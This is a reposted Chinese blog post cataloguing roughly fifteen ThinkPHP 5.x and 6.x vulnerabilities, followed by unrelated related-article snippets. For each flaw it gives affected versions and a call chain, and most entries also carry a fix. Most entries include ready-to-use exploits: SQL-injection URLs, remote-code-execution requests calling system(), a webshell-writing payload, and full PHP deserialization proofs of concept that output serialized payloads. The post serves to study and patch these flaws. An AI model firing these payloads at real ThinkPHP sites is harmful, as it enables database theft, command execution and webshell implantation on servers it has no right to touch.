ThinkPHP 系列漏洞

news2024/12/22 23:03:07

目录

2、thinkphp5 sql注入2

3、thinkphp5 sql注入3

4、 thinkphp5 SQL注入4

5、 thinkphp5 sql注入5

6、 thinkphp5 sql注入6

 7、thinkphp5 文件包含漏洞

8、ThinkPHP5 RCE 1

9、ThinkPHP5 RCE 2

10、ThinkPHP5 rce3

11、ThinkPHP 5.0.X 反序列化漏洞 

12、ThinkPHP5.1.X反序列化命令执行漏洞

13、ThinkPHP5.2.X反序列化命令执行漏洞

14、thinkphp 6  任意文件创建漏洞

15、ThinkPHP6.X 反序列化命令执行漏洞


所有 sql 注入漏洞均在 library/think/db/Builder.php 文件中。

1、thinkphp5 SQL注入1

漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

来自用户的查询数据经过 ThinkPHP 内置的简单过滤方法后,直接进入了继承于Builder 类的 Mysql 类的 insert 方法,在 insert 方法中,调用 parseData 方法来分析并处理数据,而 parseData 方法直接将来自用户的数据 $val 进行了拼接返回。简而言之, Builder 类的 parseData 方法,直接通过替换字符串的方式,将 $data 填充到 SQL 语句中,进而执行,造成 SQL注入漏洞 。

攻击链:payload => Mysql::insert() => Builder :: insert() => Builder::parserData():直接拼接SQL语句

exp:http://website/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤,进行参数化查询

2、thinkphp5 sql注入2

漏洞成因:Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)

攻击链:

payload =>

Query::update() =>

Connection::update() =>

\think\db\builder\Mysql::update() =>

Builder::update() =>

Builder::parseData():直接将数据进行拼接进SQL语句

exp:

http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤

3、thinkphp5 sql注入3

漏洞存在于 Mysql 类的 parseWhereItem 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。

漏洞影响版本: ThinkPHP5全版本

攻击链:

payload =>

Request::get() =>

Request::input() =>

Query::where() =>

Builder::select() =>

Builder::buildWhere() =>

Builder::parseWhereItem():当 sql 操作符等于 exp 时,用户数据直接拼接进入 SQL语句

漏洞利用:

http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)

#(thinkphp需开启 app_debug)

漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤

4、 thinkphp5 SQL注入4

漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。并且, Request 类的 filterValue 方法没有过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10 

攻击链:

payload =>

Request::input() =>

filterValue() =>

Mysql::select() =>

Builder::select() :对sql 语句模板进行变量填充

=> Builder::buildWhere()

=> Builder::parseWhereItem :SQL语句拼接,sql 逻辑操作符由用户控制

漏洞利用:

http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()

漏洞修复:在 filterValue 中过滤 NOT LIKE

5、 thinkphp5 sql注入5

漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22

攻击链:

payload =>

Request::input() =>

filterCalue():过滤函数未对数组的键进行过滤

=> Query::order()

=> Query::find()

=> Connection::find()

=> Builder::select()

=> str_replace() :将数据填充到SQL模板语句

=> Builder::parseOrder()

=> Mysql::parseKey() :直接给变量两端添加反引号,最后直接返回拼接的字符串 

漏洞利用:

http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

漏洞修复:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号

6、 thinkphp5 sql注入6

漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

攻击链:

payload =>

Query::max() =>

Query::aggregate() =>

Connection::aggregate() =>

Connection::parseKey() =>

Builder::select() =>

str_replace() =>

Builder::parseField() :直接拼接SQL语句

漏洞利用:

http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

不同版本 payload 需稍作调整:

 5.0.0~5.0.21 、 5.1.3~5.1.10 :

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23  

5.1.11~5.1.25 :

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`

漏洞修复:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常

 7、thinkphp5 文件包含漏洞

漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。

public function read($cacheFile, $vars = [])
{
    $this->cacheFile = $cacheFile;
    if (!empty($vars) && is_array($vars){
        // 模板阵列变量分解为独立变量
        if (isset($vars['cacheFile'])){
            $_think_cacheFile = $cacheFile;
            $cacheFile = $vars['cacheFile'];
            unset($vars['cacheFile'], $vars['_think_cacheFile']);
            extract($vars, EXTR_OVERWRITE);
            include $_think_cacheFile;
            return;
        }
        extract($vars);
        extract($vars, EXTR_OVERWRITE);
    }
    // 载入模板缓存文件
    include $cacheFile;
    include $this->cacheFile;
}

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10

攻击链:

payload =>

Controller::assign() =>

think\View类 data属性 =>

View::fetch() =>

File::read() =>

extract() =>

extract($cacheFile) :用户数据覆盖$cacheFile 变量的值

=> include($cacheFile):文件包含

漏洞利用:

创建 application/index/view/index/index.html 文件,并将图片马 1.jpg 上传至 public 目录下,访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发文件包含漏洞 。

官方修复:先将 $cacheFile 变量存储在 $this->cacheFile 中,在使用 extract 函数后,最终 include 的变量是 $this->cacheFile ,这样也就避免了 include 被覆盖后的变量值。

8、ThinkPHP5 RCE 1

漏洞存在于 thinkphp/library/think/Cache.php 的 Cache 类中,该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发远程代码执行漏洞。

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10 

攻击链:

payload => Cache::set() => Cache::init() => thinkphp\library\think\driver\File::set() => serialize():在文件开头拼接了“//”注释符(换行绕过即可),存储为 php 文件

文件名生成规则:获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名,如果应用程序还设置了前缀 $this->options['prefix'] ,则缓存文件还将多一个上级目录。

漏洞利用:

http://localhost/tpdemo/public/?username=username123%0d%0a@eval($_GET[_]);  
// 将 webshell 写入缓存文件。

官方修复:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。

9、ThinkPHP5 RCE 2

漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。

漏洞成因:

 ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。

vulnerable url:

 http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd

两种漏洞利用:

1)所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func()

攻击链:payload => Request::input() => filterValue() => call_user_func() => rce

2)控制器名称从兼容模式下的s参数获取,但对s的值没有做任何安全处理,最后会被传递到exec(),造成rce

攻击链:payload => s => Dispatch::$result => App::run() => Dispatch::run => exec() => rce

不同版本 payload :

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd

?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 获取配置信息

?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件

?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞修复:

5.1.x:thinkphp/library/think/route/dispatch/Url.php  类的 parseUrl 方法,解析控制器后加上过滤

5.0.x:thinkphp/library/think/App.php  类的 module 方法的获取控制器的代码后面加上过滤

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {

    throw new HttpException(404, 'controller not exists:' . $controller);

}

10、ThinkPHP5 rce3

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30。

漏洞成因:

 ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。同时,用户可以通 $_POST 数组传递请求方法 $method 的值,而且在获取之后没有进行任何检查,thinkphp直接把它作为 Request 类的方法进行调用,相当于可以随意调用 Request 类的部分方法。同时,Request 类的 __construct 方法中存在类属性覆盖的功能。

1)当框架在配置文件中开启了 debug 模式( 'app_debug'=> true )

程序会调用 Request 类的 param 方法,因此可以覆盖原来的方法,转而调用Request::input(),进而调用call_user_func()函数。

攻击链:

payload => $_POST => Request::$method => Request::param() => 

Request::method() => Request::server() => 

Request::input() => filterValue() => call_user_func() => rce

2)为开启 debug 模式

在 Dispatch 类的 run 方法中,会执行一个 exec 方法,当该方法中的 $dispatch['type'] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法。$dispatch['type'] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系, $route 变量取决于程序中定义的路由地址方式,GET方式中存在一条路由,可以利用这一路由地址,使得 $dispatch['type'] 等于 method ,从而完成 远程代码执行漏洞。

路由方式:'\完整的命名空间类@动态方法'

\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index")

攻击链:

payload => $_GET => $route => Route::parseRule(..., $result, ...) => 

Dispatch::run() => exec($dispatche['type'], ...) => Request::$method  => 

Request::param() => Request::method() => Request::server() => 

Request::input() => filterValue() => call_user_func() => rce

漏洞利用:

ThinkPHP <= 5.0.13

POST /?s=index/index

s=whoami&_method=__construct&method=&filter[]=system

ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug

POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

POST /?s=xxx HTTP/1.1

...

_method=__construct&filter[]=system&method=get&get[]=ls+-al

或

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞修复:同上,同时限制Request中可控的请求方法

11、ThinkPHP 5.0.X 反序列化漏洞 

漏洞成因:

\think\cache\driver\File::set() 方法可以写入文件,且文件名及文件内容可控,导致可以写入webshell。

在 think\process\pipes\Windows 类的 __destruct 方法中,存在一个删除文件功能,此处的文件名 $filename 变量是可控。若将一个类赋值给 $filename 变量,则在 file_exists($filename) 的时候,会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。Output 类中,__call 方法内存在 call_user_func_array 函数,通过调用不存在的方法,即可触发 __call 方法,调用 call_user_func_array(array (任意类,任意方法), $args),执行任意方法,据此可以调用写文件的函数。

getCacheKey() 方法中的 $this->options['path'] 可控,因此 $filename 可控,可以利用伪协议绕过添加的exit。setTagItem 方法会再执行一次 set 方法,且文件内容 $value 通过 $name(文件名)赋值,可以在文件名中写入 webshell,进而写入 php 文件。

php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>


POP链:

think\process\pipes\Windows::__destruct() =>

Windows::removeFiles() => file_exists() =>

Model::toJson() => Model::toArray() =>

Loader::parseName() => $this->$relation() =>

think\Model::getError() =>  getRelationData() =>

$value => $item[$key] = $value ? $value->getAttr($attr) : null //进行判断时,需要通过toArray()将getAttr($attr)进行数据类型转换,Output类中不存在toArray()方法,触发 think\console\Output::__call()调用不存在的方法

=> think\console\Output::__call()=>

call_user_func_array(array(任意类,任意方法),$args) =>

$this->handle->write() => think\console\Output::write() =>

think\session\driver\Memcached::write() => think\cache\driver\File:set() =>

File::setTagItem($name) => File::set() => file_put_contents() => 写入 webshell

漏洞利用:

webshell 的写入路径为:网站根目录 /public/static/<?cuc cucvasb();?>md5(‘tag_’+md5($tag)),访问 webshell 时要对文件名进行 URL 编码

Poc:

<?php //File类 
namespace think\cache\driver; 
class File { // tag变量跟文件名有关
    protected $tag='abcdef'; 
    protected $options = [ 
        'expire' => 3600, 
        'cache_subdir' => false, 
        'prefix' => '',
        // 写入文件 
        'path' => 'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', 
        // 创建子目录
        /* 'path' => './static/3a6c45/', */ 
        'data_compress' => false, 
    ]; 
} 

//Memcached类 
namespace think\session\driver; 
use think\cache\driver\File; 
class Memcached { 
    protected $handler = null; 
    function __construct() {
         $this->handler=new File(); 
        } 
} 

//Output类 
namespace think\console; 
use think\session\driver\Memcached; 
class Output { 
    protected $styles = ['removeWhereField']; 
    private $handle = null; 
    function __construct() { 
        $this->handle=new Memcached(); 
    } 
} 

//HasOne类 
namespace think\model\relation; 
use think\console\Output; 
class HasOne { 
    protected $query = false; 
    function __construct() { 
        $this->query=new Output(); 
    } 
} 

//Pivot类 
namespace think\model; 
use think\model\relation\HasOne; 
class Pivot { 
    protected $append = ['getError']; 
    protected $error = false; 
    public function __construct() { 
        $this->error=new HasOne(); 
    } 
} 

//Windows类 
namespace think\process\pipes; 
use think\model\Pivot; 
class Windows { 
    private $files = []; 
    public function __construct() {
     $this->files=[new Pivot()]; 
        } 
} 

$x=new Windows(); 
echo str_replace('+', '%20', urlencode(serialize($x)));

// 生成的payload:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00tag%22%3Bs%3A6%3A%22abcdef%22%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D.%2Fstatic%2F%3C%3Fcuc%20cucvasb%28%29%3B%3F%3E%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7D%7D%7D%7D%7D%7D%7D

漏洞修复:

1)修改removeFiles方法

private function removeFiles(){
    foreach ($this->files as $filename) {
        if(is_object($filename)){
            continue;
        }
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

2)在Windows.php中添加两个方法

 public function __sleep(){
    throw new Exception('Cannot serialize '.__CLASS__);
}

public function __wakeup(){
    throw new Exception('Cannot unserialize '.__CLASS__);
}

12、ThinkPHP5.1.X反序列化命令执行漏洞

漏洞成因:

此漏洞的 pop 链入口类似于 5.0.x 反序列化漏洞的 pop 链入口,都是通过\think\process\pipes\Windows::__destruct()。Request 类中的 input 方法,调用了call_user_func(),可以通过构造 pop 链进行 rce。

POP链:

\think\process\pipes\Windows::__destruct() =>

Windows::removeFile() =>

file_exists() =>

Model::__toString() =>

Model::toJson =>

Model::toArray() =>

\think\Request::__call() =>

call_user_func_array() =>

Request::isAjax() =>

Request::param => Request::input() => Request::filterValue() => call_user_func() => rce

POC:

<?php
namespace think;

abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}

class Request{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;

class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

namespace think\model;
use think\Model;

class Pivot extends Model{}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));?>

漏洞修复:

1)同上

2)使用 PHP7 新增的 unserialize 的过滤器,它通过白名单的方式来防止潜在的代码注入,将除 MyClass 和 MyClass2 和 stdClass 之外的所有对象都转换为 __PHP_Incomplete_Class 对象,从而阻断反序列化的漏洞利用链

13、ThinkPHP5.2.X反序列化命令执行漏洞

漏洞成因:

5.1 版本中的反序列化漏洞构造,__call 之前的方法仍然可以使用。5.2 版本的 think\model\concern\Attribute 类中的 getValue方法中存在一个可控的动态函数调用的点 $closure($value, $this->data),只要让 $closure='system' 并且 $value='要执行的命令' ,就可以触发命令执行。

通过触发__destruct()方法中的removeFiles(),该函数内用了一个file_exists()方法处理对象实例时会当成字符串,从而触发__toString(),调用toJson() => toArray() => getAttr(),最后在getValue()处调用动态函数导致命令执行。

POP链:

think\process\pipes\Windows::__destruct() =>

think\process\pipes\Windows::removeFiles() =>

think\model\concern\Conversion::__toString() =>

think\model\concern\Conversion::toJson() =>

think\model\concern\Conversion::toArray() =>

think\model\concern\Attribute::getAttr() =>

think\model\concern\Attribute::getValue() =>

$closure($value, $this->data) => system('command', $this-data)

POC :

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}


namespace think\model\concern {
    trait Conversion
    {}

    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];
        public function get() {
            $this->data = ["lin" => "ls"];
        }
    }
}


namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}


namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct(){
            $this->get();
        }
    }
}


namespace {
    $conver = new think\model\Pivot();
    $payload = new think\process\pipes\Windows($conver);
    echo urlencode(serialize($payload));
}
?>

漏洞修复:同上

14、thinkphp 6  任意文件创建漏洞

漏洞成因:

session 文件默认存储在 /var/www/html/tp60/runtime/session 下,其文件名格式类似 sess_PHPSESSID 。而当我们在 PHPSESSID 中插入特殊字符时,程序还是能正常生成对应文件。因此,这里存在任意文件创建漏洞,且通过插入路径穿越符,还存在文件覆盖和getshell的可能。

在 session 初始化时,程序会将 PHPSESSID 对应的值赋值给 \think\session\Store:id 。当 PHPSESSID 对应值长度等于32,则无任何过滤直接赋值。然后在程序构造响应数据返回给用户时,会先将 session 写入文件,而这个文件的文件名则由之前的 PHPSESSID 拼接而成。由于没有任何的过滤,这也就造成了任意文件创建、覆盖。

漏洞利用:

在 浏览器 console下执行poc,\runtime\session文件夹下就会生成php文件:

document.cookie="PHPSESSID=/../../../public/demo.php";

漏洞修复:对 session 的判断以及写入做拦截与效验,不允许直接 .php文件的 session 值写入

15、ThinkPHP6.X 反序列化命令执行漏洞

漏洞成因:

Model类中的checkAllowFields() 方法存在可控变量拼接的问题,可以调用 __toString(),融合 5 版本的 rce pop 链 即可构造此版本的 rce。

POP链:

Model::__destruct() =>

Model::save() =>

Model::updateData() =>

Model::checkAllowFields()->db()  =>

__toString() => toJson() => toArray() =>

Attribute::getAttr() =>

Attribute::getValue() =>

$closure($value, $this->data) => system('command', $this-data)

漏洞利用:

1)phpggc上有集成的exp,使用如下命令即可生成

./phpggc -u ThinkPHP/RCE2 'phpinfo();'

2)POC

<?php
namespace think;
abstract class Model{
    use model\concern\Attribute;
    private $lazySave=false;
    private $exists = true;
    private $data=[];

    function __construct($obj){
        $this->lazySave=true;
        $this->exists=true;
        $this->data=['key'=>'dir'];
        $this->table=$obj;
        $this->strict=true;
        $this->visible = ["key"=>1];
    }
}

namespace think\model\concern;
trait Attribute{
    private $withAttr = ["key" => "system"];
}

namespace think\model;
use think\Model;
class Pivot extends Model{
    function __construct($obj){
        parent::__construct($obj);
    }
}

$obj1=new Pivot(null);
echo urlencode(serialize(new Pivot($obj1)));

漏洞修复:使用PHP7新增的unserialize的过滤器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1223791.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

anaconda安装依赖报错ERROR: Cannot unpack file C:\Users\33659\AppData\Loca...|问题记录

执行命令&#xff1a; # 安装matplotlib依赖 pip install matplotlib-i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com出现问题&#xff1a; ERROR: Cannot unpack file C:\Users\33659\AppData\Local\Temp\pip-unpack-0au_blfq\simple (downloa…

U-boot(二):主Makefile

本文主要探讨210的主Makefile。 Makefile uboot版本号&#xff1a; VERSION&#xff1a;主板本号 PATCHLEVEL&#xff1a;次版本号 SUBLEVEL&#xff1a;再次版本号 EXTRAVERSION:附加信息 VERSION 1 PATC…

二元分类模型评估方法

文章目录 前言一、混淆矩阵二、准确率三、精确率&召回率四、F1分数五、ROC 曲线六、AUC&#xff08;曲线下面积&#xff09;七、P-R曲线类别不平衡问题中如何选择PR与ROC 八、 Python 实现代码混淆矩阵、命中率、覆盖率、F1值ROC曲线、AUC面积 指标 公式 意义 真正例 (TP)被…

无需API开发,伯俊科技实现电商与客服系统的无缝集成

伯俊科技的无代码开发实现系统连接 自1999年成立以来&#xff0c;伯俊科技一直致力于为企业提供全渠道一盘货的服务。凭借其24年的深耕零售行业的经验&#xff0c;伯俊科技推出了一种无需API开发的方法&#xff0c;实现电商系统和客服系统的连接与集成。这种无代码开发的方式不…

java的包装类

目录 1. 包装类 1.1 基本数据类型和对应的包装类 1.2 装箱和拆箱 1.3 自动装箱和自动拆箱 1. 包装类 在Java中&#xff0c;由于基本类型不是继承自Object&#xff0c;为了在泛型代码中可以支持基本类型&#xff0c;Java给每个基本类型都对应了 一个包装类型。 若想了解…

MySQL用逗号分割的id怎么实现in (逗号分割的id字符串)。find_in_set(`id`, ‘1,2,3‘) 函数

1.MySQL 1.1.正确写法 select * from student where find_in_set(s_id, 1,2,3); 1.2.错误示范 select * from student where find_in_set(s_id, 1,2 ,3); -- 注意&#xff0c;中间不能有空格。1、3 select * from student where find_in_set(s_id, 1,2, 3); -- 注意…

sqli-labs关卡19(基于http头部报错盲注)通关思路

文章目录 前言一、回顾上一关知识点二、靶场第十九关通关思路1、判断注入点2、爆数据库名3、爆数据库表4、爆数据库列5、爆数据库关键信息 总结 前言 此文章只用于学习和反思巩固sql注入知识&#xff0c;禁止用于做非法攻击。注意靶场是可以练习的平台&#xff0c;不能随意去尚…

IDEA创建文件添加作者及时间信息

前言 当使用IDEA进行软件开发时&#xff0c;经常需要在代码文件中添加作者和时间信息&#xff0c;以便更好地维护和管理代码。 但是如果每次都手动编辑 以及修改那就有点浪费时间了。 实践 其实我们可以将注释日期 作者 配置到 模板中 同时配置上动态获取内容 例如时间 这样…

【MyBatisPlus】快速入门

文章目录 1. 简单使用2. 条件构造器 —— 针对于复杂查询3. 自定义SQL4. IService4.1 基本接口方法4.1.1 新增4.1.2 删除4.1.3 修改4.1.4 查找 4.2 开发基础业务接口4.3 开发复杂业务接口4.4 Lambda方法4.5 批量新增 5. 代码生成6. 分页功能6.1 分页插件基本使用6.1 通用分页实…

数据结构与算法设计分析——常用搜索算法

目录 一、穷举搜索二、图的遍历算法&#xff08;一&#xff09;深度优先搜索&#xff08;DFS&#xff09;&#xff08;二&#xff09;广度优先搜索&#xff08;BFS&#xff09; 三、回溯法&#xff08;一&#xff09;回溯法的定义&#xff08;二&#xff09;回溯法的应用 四、分…

node 第十九天 使用node插件node-jsonwebtoken实现身份令牌jwt认证

实现效果如下 前后端分离token登录身份验证效果演示 node-jsonwebtoken 基于node实现的jwt方案&#xff0c; jwt也就是jsonwebtoken, 是一个web规范可以去了解一下~ 一个标准的jwt由三部分组成 第一部分&#xff1a;头部 第二部分&#xff1a;载荷&#xff0c;比如可以填入加密…

VS2022 配置 OpenCV并开始第一个程序

VS2022安装 首先下载 VisualStudioSetup.exe 下载连接&#xff1a;Visual Studio 2022 IDE - 适用于软件开发人员的编程工具 点击上面的链接即可进入到下载页面。进入到下载页面&#xff0c;可看到有几个版本可选&#xff0c;如下&#xff1a; 我选择的是企业版&#xff1a;E…

23年宁波职教中心CTF竞赛-决赛

Web 拳拳组合 进去页面之后查看源码&#xff0c;发现一段注释&#xff0c;写着小明喜欢10的幂次方&#xff0c;那就是10、100、1000、10000 返回页面&#xff0c;在点击红色叉叉的时候抓包&#xff0c;修改count的值为10、100、1000、10000 然后分别获得以下信息 ?count1…

Web(5)Burpsuite之文件上传漏洞

1.搭建网站&#xff1a;为网站设置没有用过的端口号 2.中国蚁剑软件的使用 通过一句话木马获得权限 3.形象的比喻&#xff08;风筝&#xff09; 4.实验操作 参考文章&#xff1a; 文件上传之黑名单绕过_文件上传黑名单绕过_pigzlfa的博客-CSDN博客 后端验证特性 与 Window…

Jmeter 吞吐量Per User作用

第一点&#xff1a;Per User仅在Total Execution时生效 第二点&#xff1a;Per User 选中后 聚合报告中将统计的的样本数将变成线程组配置的线程数*吞吐量控制器配置的执行样本数量&#xff08;前提是线程组配置执行接口的次数线程数*循环数 大于吞吐量控制器配置的执行样本数…

英孚成人英语水平测试分为几个级别?

目录 一、1-3入门级二、4-6初级三、7-9中级四、10-12中高级五、13-15高级六、16精通级 英孚成人英语正式学习前老师会让学员进行等级测试&#xff0c;通过测试结果帮助学员制定学习计划。那么英孚成人英语水平测试分几个级别呢&#xff1f;这里大家一起了解一下。 英孚成人英语…

zabbix的安装配置,邮件告警,钉钉告警

zabbix监控架构 zabbix优点 开源&#xff0c;无软件成本投入server对设备性能要求低支持设备多&#xff0c;自带多种监控模板支持分布式集中管理&#xff0c;有自动发现功能&#xff0c;可以实现自动化监控开放式接口&#xff0c;扩展性强&#xff0c;插件编写容易当监控的item…

装修干货|卧室常见3个软装搭配问题。福州中宅装饰,福州装修

引言 作为一名软装设计师&#xff0c;我对卧室的家具及软装布置颇有心得&#xff0c;现在就给你们带来卧室装修设计一些小技巧&#xff1a; 1. 床&#xff1b;衣柜&#xff1b;床头柜的摆放 床的摆放位置非常重要&#xff0c;一般要放在离窗户稍远的地方&#xff0c;避免直接…

[MySQL] MySQL表的约束

在前面的文章中提到了约束&#xff0c;是通过数据类型对字段产生的约束。但是数据类型约束很单一&#xff0c;需要有一些额外的约束&#xff0c;更好的保证数据的合法性&#xff0c;从业务逻辑角度保证数据的正确性。于是就引入了表的约束。 表的约束很多&#xff0c;这里主要介…

「Verilog学习笔记」使用3-8译码器①实现逻辑函数

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点&#xff0c;刷题网站用的是牛客网 timescale 1ns/1nsmodule decoder_38(input E1_n ,input E2_n ,input E3 ,input A0 ,input A1…